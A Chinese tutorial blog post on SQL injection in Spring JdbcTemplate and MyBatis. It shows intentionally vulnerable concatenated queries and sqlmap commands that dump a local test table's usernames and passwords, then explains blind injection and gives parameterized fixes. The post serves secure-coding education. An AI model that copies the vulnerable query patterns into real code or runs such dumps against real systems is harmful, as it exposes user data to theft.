项目开发中安全问题及解决方案------sql注入

//程序启动时进行表结构和数据初始化
@PostConstruct
public void init() {
 //删除表
 jdbcTemplate.execute("drop table IF EXISTS `userdata`;");
 //创建表,不包含自增ID、用户名、密码三列
 jdbcTemplate.execute("create TABLE `userdata` (\n" +
 " `id` bigint(20) NOT NULL AUTO_INCREMENT,\n" +
 " `name` varchar(255) NOT NULL,\n" +
 " `password` varchar(255) NOT NULL,\n" +
 " PRIMARY KEY (`id`)\n" +
 ") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");
 //插入两条测试数据
 jdbcTemplate.execute("INSERT INTO `userdata` (name,password) VALUES ('test1','haha1'),('test2','haha2')");
}

@Autowired
private JdbcTemplate jdbcTemplate;
//用户模糊搜索接口
@PostMapping("jdbcwrong")
public void jdbcwrong(@RequestParam("name") String name) {
 //采用拼接SQL的方式把姓名参数拼到LIKE子句中
 log.info("{}", jdbcTemplate.queryForList("SELECT id,name FROM userdata WHERE name LIKE '%" + name + "%'"));
}

发送以下请求:

http://localhost:45678/sqlinject/jdbcwrong?name=test

这个接口的 name 参数有两种可能的注入方式:一种是报错注入,一种是基于时间的盲注

下面我们用尝试一下直接导出整个用户表的内容: 

python sqlmap.py -u http://localhost:45678/sqlinject/jdbcwrong --data name=test --current-db

发现当前的数据库是common_mistakes;

current database: 'common_mistakes'

接下来我们通下面的语句

python sqlmap.py -u http://localhost:45678/sqlinject/jdbcwrong --data name=test --tables -D "common_mistakes"  

 

Database: common_mistakes
[7 tables]
+---------------------------+
| user |
| common_store |
| hibernate_sequence |
| m |
| news |
| r | 
| userdata |
+---------------------------+

接下来我们就可以导出userdata表中的数据了:

python sqlmap.py -u http://localhost:45678/sqlinject/jdbcwrong --data name=test -D "common_mistakes" -T "userdata" --dump

我们发现用户名和密码全找到了

Database: common_mistakes
Table: userdata
[2 entries]
+----+-------+----------+
| id | name | password |
+----+-------+----------+
| 1 | test1 | haha1 |
| 2 | test2 | haha2 |
+----+-------+----------+

所谓盲注,指的是注入后并不能从服务器得到任何执行结果(甚至是错误信息),只能寄希望服务器对于 SQL 中的真假条件表现出不同的状态。比如,对 于布尔盲注来说,可能是“真”可以得到 200 状态码,“假”可以得到 500 错误状态码;或者,“真”可以得到内容输出,“假”得不到任何输出。总之,对于不 同的 SQL 注入可以得到不同的输出即可。在这个案例中,因为接口没有输出,也彻底屏蔽了错误,布尔盲注这招儿行不通了。那么退而求其次的方式,就 是时间盲注。也就是说,通过在真假条件中加入 SLEEP,来实现通过判断接口的响应时间,知道条件的结果是真还是假。基于时间的盲注原理就是,虽然 不能直接查询出 password 字段的值,但可以按字符逐一来查,判断第一个字符是否是 a、是否是 b……,查询到 h 时发现响应变慢了,自然知道这就是真 的,得出第一位就是 h。以此类推,可以查询出整个值。在代码中,我们可以引入p6spy工具打印出所有执行的 SQL,观察 sqlmap 构造的一些 SQL,来分析 其中原理。

<dependency>
 <groupId>com.github.gavlyukovskiy</groupId>
 <artifactId>p6spy-spring-boot-starter</artifactId>
 <version>1.6.1</version>
</dependency>

解决方式还是使用参数化查询,让任何外部输入值只可能作为数据来处理。比如,对于之前那个接口,在 SQL 语句中使用“?”作为参数占位符,然后提 供参数值。这样修改后,sqlmap 也就无能为力了。

@PostMapping("jdbcright")
public void jdbcright(@RequestParam("name") String name) {
 log.info("{}", jdbcTemplate.queryForList("SELECT id,name FROM userdata WHERE name LIKE ?", "%" + name + "%"));
}

对于 MyBatis 来说,同样需要使用参数化的方式来写 SQL 语句。在 MyBatis 中,“#{}”是参数化的方式,“${}”只是占位符替换

@Select("SELECT id,name FROM `userdata` WHERE name LIKE '%${name}%'") //这个是替换不是参数化
List<UserData> findByNameWrong(@Param("name") String name);

正确做法:

@Select("SELECT id,name FROM `userdata` WHERE name LIKE CONCAT('%',#{name},'%')") List findByNameRight(@Param("name") String name);

再看使用in的一个例子

<select id="findByNamesWrong" resultType="org..time.commonmistakes.codeanddata.sqlinject.UserData">
 SELECT id,name FROM `userdata` WHERE name in (${names}) //这种做法同样会有注入
</select>

@PostMapping("mybatiswrong2")
public List mybatiswrong2(@RequestParam("names") String names) {
 return userDataMapper.findByNamesWrong(names);
}

python sqlmap.py -u http://localhost:45678/sqlinject/mybatiswrong2 --data names="'test1','test2'"

正确做法:

@PostMapping("mybatisright2")
public List mybatisright2(@RequestParam("names") List<String> names) {   
 return userDataMapper.findByNamesRight(names);
}
<select id="findByNamesRight" resultType="org..time.commonmistakes.codeanddata.sqlinject.UserData">    SELECT id,name FROM `userdata` WHERE name in    <foreach collection="names" item="item" open="(" separator="," close=")">        #{item}    </foreach></select>

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ADRU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值